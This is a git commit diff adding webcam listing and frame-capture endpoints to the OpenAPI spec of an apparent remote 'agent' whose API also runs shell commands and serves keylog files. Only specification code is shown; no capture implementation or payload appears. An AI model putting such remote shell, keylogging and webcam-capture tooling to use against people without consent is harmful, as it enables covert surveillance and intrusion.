Add webcam functionality to the agent's API and web interface. Implement endpoints for listing available webcams and capturing frames, along with corresponding UI elements for device selection and frame display. Update OpenAPI specification to include new webcam features, enhancing user interaction with webcam devices.

This commit is contained in:
2026-08-29 18:34:05 +03:00
parent 421c83afd2
commit dece8b3ebe
9 changed files with 549 additions and 1 deletions
+50
View File
@@ -166,6 +166,42 @@ func Spec() map[string]any {
}),
},
},
"/api/v1/webcam": map[string]any{
"get": map[string]any{
"summary": "List webcams",
"operationId": "listWebcams",
"responses": auth(map[string]any{
"200": okJSON("Connected capture devices", ref("WebcamList")),
"503": errResp("Webcam enumeration failed"),
}),
},
},
"/api/v1/webcam/frame": map[string]any{
"get": map[string]any{
"summary": "Capture a webcam frame",
"operationId": "webcamFrame",
"parameters": []map[string]any{
{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"},
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}},
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
},
"responses": auth(map[string]any{
"200": map[string]any{
"description": "Webcam frame",
"headers": map[string]any{
"X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid parameters or device"),
"503": errResp("Webcam capture failed"),
}),
},
},
"/api/v1/exec": map[string]any{
"post": map[string]any{
"summary": "Run a shell command",
@@ -403,6 +439,20 @@ func Spec() map[string]any {
"files": map[string]any{"type": "array", "items": ref("KeylogFile")},
},
},
"WebcamDevice": map[string]any{
"type": "object",
"properties": map[string]any{
"index": map[string]any{"type": "integer"},
"name": map[string]string{"type": "string"},
"version": map[string]string{"type": "string"},
},
},
"WebcamList": map[string]any{
"type": "object",
"properties": map[string]any{
"devices": map[string]any{"type": "array", "items": ref("WebcamDevice")},
},
},
},
},
}